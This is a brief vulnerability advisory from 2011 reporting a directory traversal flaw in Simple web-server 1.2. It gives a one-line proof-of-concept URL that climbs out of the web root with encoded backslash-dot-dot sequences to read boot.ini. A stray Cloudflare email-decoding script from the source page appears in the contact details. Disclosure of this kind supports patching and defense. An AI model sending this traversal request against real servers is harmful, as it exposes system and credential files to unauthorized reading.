Simple web-server 1.2 Directory Traversal

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Software................Simple web-server 1.2
Vulnerability...........Directory Traversal
Threat Level............Serious (3/5)
Download................http://www.storecalc.com
Discovery Date..........6/1/2011
Tested On...............Windows XP SP3 EN
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Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com<SCRIPT type=text/javascript>
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</SCRIPT>>
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--Description--

A directory traversal vulnerability in Simple web-server 1.2 can be
exploited to read files outside of the web root.

--PoC--

http://localhost/%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../boot.ini